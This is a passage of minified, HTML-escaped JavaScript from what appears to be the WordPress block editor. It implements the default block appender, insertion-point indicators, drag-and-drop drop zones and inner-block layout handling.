0,isHighlighted:w(t),isMultiSelected:Y,isPartiallySelected:Y&amp;&amp;!C()&amp;&amp;!B(),isDragging:I(t),hasChildSelected:X,isEditingDisabled:&quot;disabled&quot;===Q,hasEditableOutline:&quot;disabled&quot;!==Q&amp;&amp;&quot;disabled&quot;===m(n),originalBlockClientId:!!ee&amp;&amp;J[0],isBlockHidden:$(t)}}),[t,n]),{isPreviewMode:r,mode:i=&quot;visual&quot;,isSelectionEnabled:s=!1,isLocked:l=!1,canRemove:a=!1,canMove:c=!1,blockWithoutAttributes:u,name:m,attributes:f,isValid:b,isSelected:k=!1,themeSupportsLayout:v,isTemporarilyEditingAsBlocks:_,blockEditingMode:y,mayDisplayControls:x,mayDisplayParentControls:S,index:w,blockApiVersion:C,blockTitle:B,isSubtreeDisabled:I,hasOverlay:j,initialPosition:E,isHighlighted:T,isMultiSelected:M,isPartiallySelected:P,isReusable:R,isDragging:A,hasChildSelected:N,isSectionBlock:L,isEditingDisabled:D,hasEditableOutline:O,className:z,defaultClassName:V,originalBlockClientId:F,isBlockHidden:H,bindableAttributes:G}=o,$=(0,h.useMemo)((()=&gt;({...u,attributes:f})),[u,f]);if(!o)return null;const W={isPreviewMode:r,clientId:t,className:z,index:w,mode:i,name:m,blockApiVersion:C,blockTitle:B,isSelected:k,isSubtreeDisabled:I,hasOverlay:j,initialPosition:E,blockEditingMode:y,isHighlighted:T,isMultiSelected:M,isPartiallySelected:P,isReusable:R,isDragging:A,hasChildSelected:N,isSectionBlock:L,isEditingDisabled:D,hasEditableOutline:O,isTemporarilyEditingAsBlocks:_,defaultClassName:V,mayDisplayControls:x,mayDisplayParentControls:S,originalBlockClientId:F,themeSupportsLayout:v,canMove:c,isBlockHidden:H,bindableAttributes:G};return!H||k||M||N?(0,d.jsx)(dv.Provider,{value:W,children:(0,d.jsx)(mS,{...e,mode:i,isSelectionEnabled:s,isLocked:l,canRemove:a,canMove:c,block:$,name:m,attributes:f,isValid:b,isSelected:k})}):null}));const kS=window.wp.htmlEntities,vS=&quot;\ufeff&quot;;function _S({rootClientId:e}){const{showPrompt:t,isLocked:n,placeholder:o,isManualGrid:r}=(0,g.useSelect)((t=&gt;{const{getBlockCount:n,getSettings:o,getTemplateLock:r,getBlockAttributes:i}=t(Ii),s=!n(e),{bodyPlaceholder:l}=o();return{showPrompt:s,isLocked:!!r(e),placeholder:l,isManualGrid:i(e)?.layout?.isManualPlacement}}),[e]),{insertDefaultBlock:i,startTyping:s}=(0,g.useDispatch)(Ii);if(n||r)return null;const l=(0,kS.decodeEntities)(o)||(0,T.__)(&quot;Type / to choose a block&quot;),a=()=&gt;{i(void 0,e),s()};return(0,d.jsxs)(&quot;div&quot;,{&quot;data-root-client-id&quot;:e||&quot;&quot;,className:gs(&quot;block-editor-default-block-appender&quot;,{&quot;has-visible-prompt&quot;:t}),children:[(0,d.jsx)(&quot;p&quot;,{tabIndex:&quot;0&quot;,role:&quot;button&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Add default block&quot;),className:&quot;block-editor-default-block-appender__content&quot;,onKeyDown:e=&gt;{$a.ENTER!==e.keyCode&amp;&amp;$a.SPACE!==e.keyCode||a()},onClick:()=&gt;a(),onFocus:()=&gt;{t&amp;&amp;a()},children:t?l:vS}),(0,d.jsx)(sI,{rootClientId:e,position:&quot;bottom right&quot;,isAppender:!0,__experimentalIsQuick:!0})]})}function yS({rootClientId:e}){return(0,g.useSelect)((t=&gt;t(Ii).canInsertBlockType((0,p.getDefaultBlockName)(),e)))?(0,d.jsx)(_S,{rootClientId:e}):(0,d.jsx)(cI,{rootClientId:e,className:&quot;block-list-appender__toggle&quot;})}function xS({rootClientId:e,CustomAppender:t,className:n,tagName:o=&quot;div&quot;}){const r=(0,g.useSelect)((t=&gt;{const{getBlockInsertionPoint:n,isBlockInsertionPointVisible:o,getBlockCount:r}=t(Ii),i=n();return o()&amp;&amp;e===i?.rootClientId&amp;&amp;0===r(e)}),[e]);return(0,d.jsx)(o,{tabIndex:-1,className:gs(&quot;block-list-appender wp-block&quot;,n,{&quot;is-drag-over&quot;:r}),contentEditable:!1,&quot;data-block&quot;:!0,children:t?(0,d.jsx)(t,{}):(0,d.jsx)(yS,{rootClientId:e})})}const SS=Number.MAX_SAFE_INTEGER;var wS=function({previousClientId:e,nextClientId:t,children:n,__unstablePopoverSlot:o,__unstableContentRef:r,operation:i=&quot;insert&quot;,nearestSide:s=&quot;right&quot;,...l}){const[a,c]=(0,h.useReducer)((e=&gt;(e+1)%SS),0),{orientation:u,rootClientId:p,isVisible:m}=(0,g.useSelect)((n=&gt;{const{getBlockListSettings:o,getBlockRootClientId:r,isBlockVisible:i}=n(Ii),s=r(e??t);return{orientation:o(s)?.orientation||&quot;vertical&quot;,rootClientId:s,isVisible:i(e)&amp;&amp;i(t)}}),[e,t]),f=fh(e),b=fh(t),k=&quot;vertical&quot;===u,v=(0,h.useMemo)((()=&gt;{if(a&lt;0||!f&amp;&amp;!b||!m)return;return{contextElement:&quot;group&quot;===i?b||f:f||b,getBoundingClientRect(){const e=f?f.getBoundingClientRect():null,t=b?b.getBoundingClientRect():null;let n=0,o=0,r=0,l=0;if(&quot;group&quot;===i){const i=t||e;o=i.top,r=0,l=i.bottom-i.top,n=&quot;left&quot;===s?i.left-2:i.right-2}else k?(o=e?e.bottom:t.top,r=e?e.width:t.width,l=t&amp;&amp;e?t.top-e.bottom:0,n=e?e.left:t.left):(o=e?e.top:t.top,l=e?e.height:t.height,(0,T.isRTL)()?(n=t?t.right:e.left,r=e&amp;&amp;t?e.left-t.right:0):(n=e?e.right:t.left,r=e&amp;&amp;t?t.left-e.right:0),r=Math.max(r,0));return new window.DOMRect(n,o,r,l)}}}),[f,b,a,k,m,i,s]),_=Vm(r);return(0,h.useLayoutEffect)((()=&gt;{if(!f)return;const e=new window.MutationObserver(c);return e.observe(f,{attributes:!0}),()=&gt;{e.disconnect()}}),[f]),(0,h.useLayoutEffect)((()=&gt;{if(!b)return;const e=new window.MutationObserver(c);return e.observe(b,{attributes:!0}),()=&gt;{e.disconnect()}}),[b]),(0,h.useLayoutEffect)((()=&gt;{if(f)return f.ownerDocument.defaultView.addEventListener(&quot;resize&quot;,c),()=&gt;{f.ownerDocument.defaultView?.removeEventListener(&quot;resize&quot;,c)}}),[f]),(f||b)&amp;&amp;m?(0,d.jsx)(Ss.Popover,{ref:_,animate:!1,anchor:v,focusOnMount:!1,__unstableSlotName:o,inline:!o,...l,className:gs(&quot;block-editor-block-popover&quot;,&quot;block-editor-block-popover__inbetween&quot;,l.className),resize:!1,flip:!1,placement:&quot;overlay&quot;,variant:&quot;unstyled&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-popover__inbetween-container&quot;,children:n})},t+&quot;--&quot;+p):null};const CS={hide:{opacity:0,scaleY:.75},show:{opacity:1,scaleY:1},exit:{opacity:0,scaleY:.9}};var BS=function({__unstablePopoverSlot:e,__unstableContentRef:t}){const{clientId:n}=(0,g.useSelect)((e=&gt;{const{getBlockOrder:t,getBlockInsertionPoint:n}=e(Ii),o=n(),r=t(o.rootClientId);return r.length?{clientId:r[o.index]}:{}}),[]),o=(0,m.useReducedMotion)();return(0,d.jsx)(nf,{clientId:n,__unstablePopoverSlot:e,__unstableContentRef:t,className:&quot;block-editor-block-popover__drop-zone&quot;,children:(0,d.jsx)(Ss.__unstableMotion.div,{&quot;data-testid&quot;:&quot;block-popover-drop-zone&quot;,initial:o?CS.show:CS.hide,animate:CS.show,exit:o?CS.show:CS.exit,className:&quot;block-editor-block-popover__drop-zone-foreground&quot;})})};const IS=(0,h.createContext)();function jS({__unstablePopoverSlot:e,__unstableContentRef:t,operation:n=&quot;insert&quot;,nearestSide:o=&quot;right&quot;}){const{selectBlock:r,hideInsertionPoint:i}=(0,g.useDispatch)(Ii),s=(0,h.useContext)(IS),l=(0,h.useRef)(),{orientation:a,previousClientId:c,nextClientId:u,rootClientId:p,isInserterShown:f,isDistractionFree:b,isZoomOutMode:k}=(0,g.useSelect)((e=&gt;{const{getBlockOrder:t,getBlockListSettings:n,getBlockInsertionPoint:o,isBlockBeingDragged:r,getPreviousBlockClientId:i,getNextBlockClientId:s,getSettings:l,isZoomOut:a}=U(e(Ii)),c=o(),u=t(c.rootClientId);if(!u.length)return{};let d=u[c.index-1],p=u[c.index];for(;r(d);)d=i(d);for(;r(p);)p=s(p);const h=l();return{previousClientId:d,nextClientId:p,orientation:n(c.rootClientId)?.orientation||&quot;vertical&quot;,rootClientId:c.rootClientId,isDistractionFree:h.isDistractionFree,isInserterShown:c?.__unstableWithInserter,isZoomOutMode:a()}}),[]),{getBlockEditingMode:v}=(0,g.useSelect)(Ii),_=(0,m.useReducedMotion)();const y=(0,h.useCallback)((e=&gt;{!e&amp;&amp;s.current&amp;&amp;(s.current=!1)}),[s]),x={start:{opacity:0,scale:0},rest:{opacity:1,scale:1,transition:{delay:f?.5:0,type:&quot;tween&quot;}},hover:{opacity:1,scale:1,transition:{delay:.5,type:&quot;tween&quot;}}},S={start:{scale:_?1:0},rest:{scale:1,transition:{delay:.4,type:&quot;tween&quot;}}};if(b)return null;if(k&amp;&amp;&quot;insert&quot;!==n)return null;const w=gs(&quot;block-editor-block-list__insertion-point&quot;,&quot;horizontal&quot;===a||&quot;group&quot;===n?&quot;is-horizontal&quot;:&quot;is-vertical&quot;);return(0,d.jsx)(wS,{previousClientId:c,nextClientId:u,__unstablePopoverSlot:e,__unstableContentRef:t,operation:n,nearestSide:o,children:(0,d.jsxs)(Ss.__unstableMotion.div,{layout:!_,initial:_?&quot;rest&quot;:&quot;start&quot;,animate:&quot;rest&quot;,whileHover:&quot;hover&quot;,whileTap:&quot;pressed&quot;,exit:&quot;start&quot;,ref:l,tabIndex:-1,onClick:function(e){e.target===l.current&amp;&amp;u&amp;&amp;&quot;disabled&quot;!==v(u)&amp;&amp;r(u,-1)},onFocus:function(e){e.target!==l.current&amp;&amp;(s.current=!0)},className:gs(w,{&quot;is-with-inserter&quot;:f}),onHoverEnd:function(e){e.target!==l.current||s.current||i()},children:[(0,d.jsx)(Ss.__unstableMotion.div,{variants:x,className:&quot;block-editor-block-list__insertion-point-indicator&quot;,&quot;data-testid&quot;:&quot;block-list-insertion-point-indicator&quot;}),f&amp;&amp;(0,d.jsx)(Ss.__unstableMotion.div,{variants:S,className:gs(&quot;block-editor-block-list__insertion-point-inserter&quot;),children:(0,d.jsx)(sI,{ref:y,position:&quot;bottom center&quot;,clientId:u,rootClientId:p,__experimentalIsQuick:!0,onToggle:e=&gt;{s.current=e},onSelectOrClose:()=&gt;{s.current=!1}})})]})})}function ES(e){const{insertionPoint:t,isVisible:n,isBlockListEmpty:o}=(0,g.useSelect)((e=&gt;{const{getBlockInsertionPoint:t,isBlockInsertionPointVisible:n,getBlockCount:o}=e(Ii),r=t();return{insertionPoint:r,isVisible:n(),isBlockListEmpty:0===o(r?.rootClientId)}}),[]);return!n||o?null:&quot;replace&quot;===t.operation?(0,d.jsx)(BS,{...e},`${t.rootClientId}-${t.index}`):(0,d.jsx)(jS,{operation:t.operation,nearestSide:t.nearestSide,...e})}function TS(){const e=(0,h.useContext)(IS),t=(0,g.useSelect)((e=&gt;e(Ii).getSettings().isDistractionFree||U(e(Ii)).isZoomOut()),[]),{getBlockListSettings:n,getBlockIndex:o,isMultiSelecting:r,getSelectedBlockClientIds:i,getSettings:s,getTemplateLock:l,__unstableIsWithinBlockOverlay:a,getBlockEditingMode:c,getBlockName:u,getBlockAttributes:d,getParentSectionBlock:p}=U((0,g.useSelect)(Ii)),{showInsertionPoint:f,hideInsertionPoint:b}=(0,g.useDispatch)(Ii);return(0,m.useRefEffect)((h=&gt;{if(!t)return h.addEventListener(&quot;mousemove&quot;,g),()=&gt;{h.removeEventListener(&quot;mousemove&quot;,g)};function g(t){if(void 0===e||e.current)return;if(t.target.nodeType===t.target.TEXT_NODE)return;if(r())return;if(!t.target.classList.contains(&quot;block-editor-block-list__layout&quot;))return void b();let h;if(!t.target.classList.contains(&quot;is-root-container&quot;)){h=(t.target.getAttribute(&quot;data-block&quot;)?t.target:t.target.closest(&quot;[data-block]&quot;)).getAttribute(&quot;data-block&quot;)}if(l(h)||&quot;disabled&quot;===c(h)||&quot;core/block&quot;===u(h)||h&amp;&amp;d(h).layout?.isManualPlacement)return;const g=n(h),m=g?.orientation||&quot;vertical&quot;,k=!!g?.__experimentalCaptureToolbars,v=t.clientY,_=t.clientX;let y=Array.from(t.target.children).find((e=&gt;{const t=e.getBoundingClientRect();return e.classList.contains(&quot;wp-block&quot;)&amp;&amp;&quot;vertical&quot;===m&amp;&amp;t.top&gt;v||e.classList.contains(&quot;wp-block&quot;)&amp;&amp;&quot;horizontal&quot;===m&amp;&amp;((0,T.isRTL)()?t.right&lt;_:t.left&gt;_)}));if(!y)return void b();if(!y.id&amp;&amp;(y=y.firstElementChild,!y))return void b();const x=y.id.slice(6);if(!x||a(x)||p(x))return;if(i().includes(x)&amp;&amp;&quot;vertical&quot;===m&amp;&amp;!k&amp;&amp;!s().hasFixedToolbar)return;const S=y.getBoundingClientRect();if(&quot;horizontal&quot;===m&amp;&amp;(t.clientY&gt;S.bottom||t.clientY&lt;S.top)||&quot;vertical&quot;===m&amp;&amp;(t.clientX&gt;S.right||t.clientX&lt;S.left))return void b();const w=o(x);0!==w?f(h,w,{__unstableWithInserter:!0}):b()}}),[e,n,o,r,f,b,i,t])}function MS(){const{getSettings:e,hasSelectedBlock:t,hasMultiSelection:n}=(0,g.useSelect)(Ii),{clearSelectedBlock:o}=(0,g.useDispatch)(Ii),{clearBlockSelection:r}=e();return(0,m.useRefEffect)((e=&gt;{if(r)return e.addEventListener(&quot;mousedown&quot;,i),()=&gt;{e.removeEventListener(&quot;mousedown&quot;,i)};function i(r){(t()||n())&amp;&amp;r.target===e&amp;&amp;o()}}),[t,n,o,r])}function PS(e){return(0,d.jsx)(&quot;div&quot;,{ref:MS(),...e})}IS.displayName=&quot;InsertionPointOpenRefContext&quot;;const RS=new WeakMap;function AS(){let e;return t=&gt;(void 0!==e&amp;&amp;Qa()(e,t)||(e=t),e)}function NS(e){const[t]=(0,h.useState)(AS);return t(e)}function LS(e){let t={srcRootClientId:null,srcClientIds:null,srcIndex:null,type:null,blocks:null};if(!e.dataTransfer)return t;try{t=Object.assign(t,JSON.parse(e.dataTransfer.getData(&quot;wp-blocks&quot;)))}catch(e){return t}return t}function DS(e,t,n={}){const{operation:o=&quot;insert&quot;,nearestSide:r=&quot;right&quot;}=n,{canInsertBlockType:i,getBlockIndex:s,getClientIdsOfDescendants:l,getBlockOrder:a,getBlocksByClientId:c,getSettings:u,getBlock:d}=(0,g.useSelect)(Ii),{getGroupingBlockName:m}=(0,g.useSelect)(p.store),{insertBlocks:f,moveBlocksToPosition:b,updateBlockAttributes:k,clearSelectedBlock:v,replaceBlocks:_,removeBlocks:y}=(0,g.useDispatch)(Ii),x=(0,g.useRegistry)(),S=(0,h.useCallback)(((n,s=!0,l=0,c=[])=&gt;{Array.isArray(n)||(n=[n]);const u=a(e)[t];if(&quot;replace&quot;===o)_(u,n,void 0,l);else if(&quot;group&quot;===o){const t=d(u);&quot;left&quot;===r?n.push(t):n.unshift(t);const o=n.map((e=&gt;(0,p.createBlock)(e.name,e.attributes,e.innerBlocks))),s=n.every((e=&gt;&quot;core/image&quot;===e.name)),a=i(&quot;core/gallery&quot;,e),h=(0,p.createBlock)(s&amp;&amp;a?&quot;core/gallery&quot;:m(),{layout:{type:&quot;flex&quot;,flexWrap:s&amp;&amp;a?null:&quot;nowrap&quot;}},o);_([u,...c],h,void 0,l)}else f(n,t,e,s,l)}),[a,e,t,o,_,d,r,i,m,f]),w=(0,h.useCallback)(((n,r,i)=&gt;{if(&quot;replace&quot;===o){const o=c(n),r=a(e)[t];x.batch((()=&gt;{y(n,!1),_(r,o,void 0,0)}))}else b(n,r,e,i)}),[o,a,c,b,x,y,_,t,e]),C=function(e,t,n,o,r,i,s,l,a){return c=&gt;{const{srcRootClientId:u,srcClientIds:d,type:h,blocks:g}=LS(c);if(&quot;inserter&quot;===h){s();const e=g.map((e=&gt;(0,p.cloneBlock)(e)));i(e,!0,null)}if(&quot;block&quot;===h){const s=n(d[0]);if(u===e&amp;&amp;s===t)return;if(d.includes(e)||o(d).some((t=&gt;t===e)))return;if(&quot;group&quot;===l){const e=d.map((e=&gt;a(e)));return void i(e,!0,null,d)}const c=u===e,p=d.length;r(d,u,c&amp;&amp;s&lt;t?t-p:t)}}}(e,t,s,l,w,S,v,o,d),B=function(e,t,n,o,r){return i=&gt;{if(!t().mediaUpload)return;const s=(0,p.findTransform)((0,p.getBlockTransforms)(&quot;from&quot;),(t=&gt;&quot;files&quot;===t.type&amp;&amp;o(t.blockName,e)&amp;&amp;t.isMatch(i)));if(s){const e=s.transform(i,n);r(e)}}}(e,u,k,i,S),I=function(e){return t=&gt;{const n=(0,p.pasteHandler)({HTML:t,mode:&quot;BLOCKS&quot;});n.length&amp;&amp;e(n)}}(S);return e=&gt;{const t=(0,Ua.getFilesFromDataTransfer)(e.dataTransfer),n=e.dataTransfer.getData(&quot;text/html&quot;);n?I(n):t.length?B(t):C(e)}}function OS(e,t,n=[&quot;top&quot;,&quot;bottom&quot;,&quot;left&quot;,&quot;right&quot;]){let o,r;return n.forEach((n=&gt;{const i=function(e,t,n){const o=&quot;top&quot;===n||&quot;bottom&quot;===n,{x:r,y:i}=e,s=o?r:i,l=o?i:r,a=o?t.left:t.top,c=o?t.right:t.bottom,u=t[n];let d;return d=s&gt;=a&amp;&amp;s&lt;=c?s:s&lt;c?a:c,Math.sqrt((s-d)**2+(l-u)**2)}(e,t,n);(void 0===o||i&lt;o)&amp;&amp;(o=i,r=n)})),[o,r]}function zS(e,t){return t.left&lt;=e.x&amp;&amp;t.right&gt;=e.x&amp;&amp;t.top&lt;=e.y&amp;&amp;t.bottom&gt;=e.y}const VS=30,FS=120,HS=120;function US(e,t,n,o){let r=!0;if(t){const e=t?.map((({name:e})=&gt;e));r=n.every((t=&gt;e?.includes(t)))}const i=n.map((t=&gt;e(t))).every((e=&gt;{const[t]=e?.parent||[];return!t||t===o}));return r&amp;&amp;i}function GS(e,t){const{defaultView:n}=t;return!!(n&amp;&amp;e instanceof n.HTMLElement&amp;&amp;e.closest(&quot;[data-is-insertion-point]&quot;))}function $S({dropZoneElement:e,rootClientId:t=&quot;&quot;,parentClientId:n=&quot;&quot;,isDisabled:o=!1}={}){const r=(0,g.useRegistry)(),[i,s]=(0,h.useState)({index:null,operation:&quot;insert&quot;}),{getBlockType:l,getBlockVariations:a,getGroupingBlockName:c}=(0,g.useSelect)(p.store),{canInsertBlockType:u,getBlockListSettings:d,getBlocks:f,getBlockIndex:b,getDraggedBlockClientIds:k,getBlockNamesByClientId:v,getAllowedBlocks:_,isDragging:y,isGroupable:x,isZoomOut:S,getSectionRootClientId:w,getBlockParents:C}=U((0,g.useSelect)(Ii)),{showInsertionPoint:B,hideInsertionPoint:I,startDragging:j,stopDragging:E}=U((0,g.useDispatch)(Ii)),M=DS(&quot;before&quot;===i.operation||&quot;after&quot;===i.operation?n:t,i.index,{operation:i.operation,nearestSide:i.nearestSide}),P=(0,m.useThrottle)((0,h.useCallback)(((o,i)=&gt;{y()||j();const h=k(),g=[t,...C(t,!0)];if(h.some((e=&gt;g.includes(e))))return;const m=_(t),I=v([t])[0],E=v(h);if(!US(l,m,E,I))return;const M=w();if(S()&amp;&amp;M!==t)return;const P=f(t).filter((e=&gt;!((0,p.hasBlockSupport)(e.name,&quot;visibility&quot;,!0)&amp;&amp;!1===e.attributes?.metadata?.blockVisibility)));if(0===P.length)return void r.batch((()=&gt;{s({index:0,operation:&quot;insert&quot;}),B(t,0,{operation:&quot;insert&quot;})}));const R=P.map((e=&gt;{const t=e.clientId;return{isUnmodifiedDefaultBlock:(0,p.isUnmodifiedDefaultBlock)(e),getBoundingClientRect:()=&gt;{const e=i.getElementById(`block-${t}`);return e?e.getBoundingClientRect():null},blockIndex:b(t),blockOrientation:d(t)?.orientation}})),A=function(e,t,n=&quot;vertical&quot;,o={}){const r=&quot;horizontal&quot;===n?[&quot;left&quot;,&quot;right&quot;]:[&quot;top&quot;,&quot;bottom&quot;];let i=0,s=&quot;before&quot;,l=1/0,a=null,c=&quot;right&quot;;const{dropZoneElement:u,parentBlockOrientation:d,rootBlockIndex:p=0}=o;if(u&amp;&amp;&quot;horizontal&quot;!==d){const e=u.getBoundingClientRect(),[n,o]=OS(t,e,[&quot;top&quot;,&quot;bottom&quot;]);if(e.height&gt;FS&amp;&amp;n&lt;VS){if(&quot;top&quot;===o)return[p,&quot;before&quot;];if(&quot;bottom&quot;===o)return[p+1,&quot;after&quot;]}}const h=(0,T.isRTL)();if(u&amp;&amp;&quot;horizontal&quot;===d){const e=u.getBoundingClientRect(),[n,o]=OS(t,e,[&quot;left&quot;,&quot;right&quot;]);if(e.width&gt;HS&amp;&amp;n&lt;VS){if(h&amp;&amp;&quot;right&quot;===o||!h&amp;&amp;&quot;left&quot;===o)return[p,&quot;before&quot;];if(h&amp;&amp;&quot;left&quot;===o||!h&amp;&amp;&quot;right&quot;===o)return[p+1,&quot;after&quot;]}}e.forEach((({isUnmodifiedDefaultBlock:e,getBoundingClientRect:o,blockIndex:u,blockOrientation:d})=&gt;{const p=o();if(!p)return;let[g,m]=OS(t,p,r);const[f,b]=OS(t,p,[&quot;left&quot;,&quot;right&quot;]),k=zS(t,p);e&amp;&amp;k?g=0:&quot;vertical&quot;===n&amp;&amp;&quot;horizontal&quot;!==d&amp;&amp;(k&amp;&amp;f&lt;VS||!k&amp;&amp;function(e,t){return t.top&lt;=e.y&amp;&amp;t.bottom&gt;=e.y}(t,p))&amp;&amp;(a=u,c=b),g&lt;l&amp;&amp;(s=&quot;bottom&quot;===m||!h&amp;&amp;&quot;right&quot;===m||h&amp;&amp;&quot;left&quot;===m?&quot;after&quot;:&quot;before&quot;,l=g,i=u)}));const g=i+(&quot;after&quot;===s?1:-1),m=!!e[i]?.isUnmodifiedDefaultBlock,f=!!e[g]?.isUnmodifiedDefaultBlock;if(null!==a)return[a,&quot;group&quot;,c];if(!m&amp;&amp;!f)return[&quot;after&quot;===s?i+1:i,&quot;insert&quot;];return[m?i:g,&quot;replace&quot;]}(R,{x:o.clientX,y:o.clientY},d(t)?.orientation,{dropZoneElement:e,parentBlockClientId:n,parentBlockOrientation:n?d(n)?.orientation:void 0,rootBlockIndex:b(t)}),[N,L,D]=A,O=R[N]?.isUnmodifiedDefaultBlock;if(!S()||O||&quot;insert&quot;===L){if(&quot;group&quot;===L){const e=P[N],n=[e.name,...E].every((e=&gt;&quot;core/image&quot;===e)),o=u(&quot;core/gallery&quot;,t),r=x([e.clientId,k()]),i=a(c(),&quot;block&quot;),s=i&amp;&amp;i.find((({name:e})=&gt;&quot;group-row&quot;===e));if(n&amp;&amp;!o&amp;&amp;(!r||!s))return;if(!(n||r&amp;&amp;s))return}r.batch((()=&gt;{s({index:N,operation:L,nearestSide:D});const e=[&quot;before&quot;,&quot;after&quot;].includes(L)?n:t;B(e,N,{operation:L,nearestSide:D})}))}}),[y,_,t,v,k,l,w,S,f,d,e,n,b,r,j,B,u,x,a,c]),200);return(0,m.__experimentalUseDropZone)({dropZoneElement:e,isDisabled:o,onDrop:M,onDragOver(e){P(e,e.currentTarget.ownerDocument)},onDragLeave(e){const{ownerDocument:t}=e.currentTarget;GS(e.relatedTarget,t)||GS(e.target,t)||(P.cancel(),I())},onDragEnd(){P.cancel(),E(),I()}})}const WS={};function KS({children:e,clientId:t}){const n=function(e){return(0,g.useSelect)((t=&gt;{const n=t(Ii).getBlock(e);if(!n)return;const o=t(p.store).getBlockType(n.name);return o&amp;&amp;0!==Object.keys(o.providesContext).length?Object.fromEntries(Object.entries(o.providesContext).map((([e,t])=&gt;[e,n.attributes[t]]))):void 0}),[e])}(t);return(0,d.jsx)(rv,{value:n,children:e})}const ZS=(0,h.memo)(gw);function qS(e){const{clientId:t,allowedBlocks:n,prioritizedInserterBlocks:o,defaultBlock:r,directInsert:i,__experimentalDefaultBlock:s,__experimentalDirectInsert:l,template:a,templateLock:c,wrapperRef:u,templateInsertUpdatesSelection:m,__experimentalCaptureToolbars:f,__experimentalAppenderTagName:b,renderAppender:k,orientation:v,placeholder:_,layout:y,name:x,blockType:S,parentLock:w,defaultLayout:C}=e;!function(e,t,n,o,r,i,s,l,a,c,u,d){const p=(0,g.useRegistry)(),m=NS(n),f=NS(o),b=void 0===a||&quot;contentOnly&quot;===t?t:a;(0,h.useLayoutEffect)((()=&gt;{const t={allowedBlocks:m,prioritizedInserterBlocks:f,templateLock:b};if(void 0!==c&amp;&amp;(t.__experimentalCaptureToolbars=c),void 0!==u)t.orientation=u;else{const e=Yl(d?.type);t.orientation=e.getOrientation(d)}void 0!==s&amp;&amp;(I()(&quot;__experimentalDefaultBlock&quot;,{alternative:&quot;defaultBlock&quot;,since:&quot;6.3&quot;,version:&quot;6.4&quot;}),t.defaultBlock=s),void 0!==r&amp;&amp;(t.defaultBlock=r),void 0!==l&amp;&amp;(I()(&quot;__experimentalDirectInsert&quot;,{alternative:&quot;directInsert&quot;,since:&quot;6.3&quot;,version:&quot;6.4&quot;}),t.directInsert=l),void 0!==i&amp;&amp;(t.directInsert=i),void 0!==t.directInsert&amp;&amp;&quot;boolean&quot;!=typeof t.directInsert&amp;&amp;I()(&quot;Using `Function` as a `directInsert` argument&quot;,{alternative:&quot;`boolean` values&quot;,since:&quot;6.5&quot;}),RS.get(p)||RS.set(p,{}),RS.get(p)[e]=t,window.queueMicrotask((()=&gt;{const e=RS.get(p);if(Object.keys(e).length){const{updateBlockListSettings:t}=p.dispatch(Ii);t(e),RS.set(p,{})}}))}),[e,m,f,b,r,i,s,l,c,u,d,p])}(t,w,n,o,r,i,s,l,c,f,v,y),function(e,t,n,o){const r=(0,g.useRegistry)(),i=(0,h.useRef)(null);(0,h.useLayoutEffect)((()=&gt;{let s=!1;const{getBlocks:l,getSelectedBlocksInitialCaretPosition:a,isBlockSelected:c}=r.select(Ii),{replaceInnerBlocks:u,__unstableMarkNextChangeAsNotPersistent:d}=r.dispatch(Ii);return window.queueMicrotask((()=&gt;{if(s)return;const r=l(e),h=0===r.length||&quot;all&quot;===n||&quot;contentOnly&quot;===n,g=!E()(t,i.current);if(!h||!g)return;i.current=t;const m=(0,p.synchronizeBlocksWithTemplate)(r,t);E()(m,r)||(d(),u(e,m,0===r.length&amp;&amp;o&amp;&amp;0!==m.length&amp;&amp;c(e),a()))})),()=&gt;{s=!0}}),[t,n,e,r,o])}(t,a,c,m);const B=(0,p.getBlockSupport)(x,&quot;layout&quot;)||(0,p.getBlockSupport)(x,&quot;__experimentalLayout&quot;)||WS,{allowSizingOnChildren:j=!1}=B,T=y||B,M=(0,h.useMemo)((()=&gt;({...C,...T,...j&amp;&amp;{allowSizingOnChildren:!0}})),[C,T,j]),P=(0,d.jsx)(ZS,{rootClientId:t,renderAppender:k,__experimentalAppenderTagName:b,layout:M,wrapperRef:u,placeholder:_});return S?.providesContext&amp;&amp;0!==Object.keys(S.providesContext).length?(0,d.jsx)(KS,{clientId:t,children:P}):P}function YS(e){return Zk(e),(0,d.jsx)(qS,{...e})}const XS=(0,h.forwardRef)(((e,t)=&gt;{const n=QS({ref:t},e);return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inner-blocks&quot;,children:(0,d.jsx)(&quot;div&quot;,{...n})})}));function QS(e={},t={}){const{__unstableDisableLayoutClassNames:n,__unstableDisableDropZone:o,dropZoneElement:r}=t,{clientId:i,layout:s=null,__unstableLayoutClassNames:l=&quot;&quot;}=C(),a=(0,g.useSelect)((e=&gt;{const{getBlockName:t,isZoomOut:n,getTemplateLock:o,getBlockRootClientId:r,getBlockEditingMode:s,getBlockSettings:l,getSectionRootClientId:a}=U(e(Ii));if(!i){const e=a();return{isDropZoneDisabled:n()&amp;&amp;&quot;&quot;!==e}}const{hasBlockSupport:c,getBlockType:u}=e(p.store),d=t(i),h=s(i),g=r(i),[m]=l(i,&quot;layout&quot;);let f=&quot;disabled&quot;===h;if(n()){const e=a();f=i!==e}return{__experimentalCaptureToolbars:c(d,&quot;__experimentalExposeControlsToChildren&quot;,!1),name:d,blockType:u(d),parentLock:o(g),parentClientId:g,isDropZoneDisabled:f,defaultLayout:m}}),[i]),{__experimentalCaptureToolbars:c,name:u,blockType:h,parentLock:f,parentClientId:b,isDropZoneDisabled:k,defaultLayout:v}=a,_=$S({dropZoneElement:r,rootClientId:i,parentClientId:b}),y=(0,m.useMergeRefs)([e.ref,o||k||s?.isManualPlacement&amp;&amp;window.__experimentalEnableGridInteractivity?null:_]),x={__experimentalCaptureToolbars:c,layout:s,name:u,blockType:h,parentLock:f,defaultLayout:v,...t},S=x.value&amp;&amp;x.onChange?YS:qS;return{...e,ref:y,className:gs(e.className,&quot;block-editor-block-list__layout&quot;,n?&quot;&quot;:l),children:i?(0,d.jsx)(S,{...x,clientId:i}):(0,d.jsx)(gw,{...t})}}QS.save=p.__unstableGetInnerBlocksProps,XS.DefaultBlockAppender=function(){const{clientId:e}=C();return(0,d.jsx)(_S,{rootClientId:e})},XS.ButtonBlockAppender=function({showSeparator:e,isFloating:t,onAddBlock:n,isToggle:o}){const{clientId:r}=C();return(0,d.jsx)(cI,{className:gs({&quot;block-list-appender__toggle&quot;:o}),rootClientId:r,showSeparator:e,isFloating:t,onAddBlock:n})},XS.Content=()=&gt;QS.save().children;var JS=XS;const ew=new Set([$a.UP,$a.RIGHT,$a.DOWN,$a.LEFT,$a.ENTER,$a.BACKSPACE]);function tw(){const 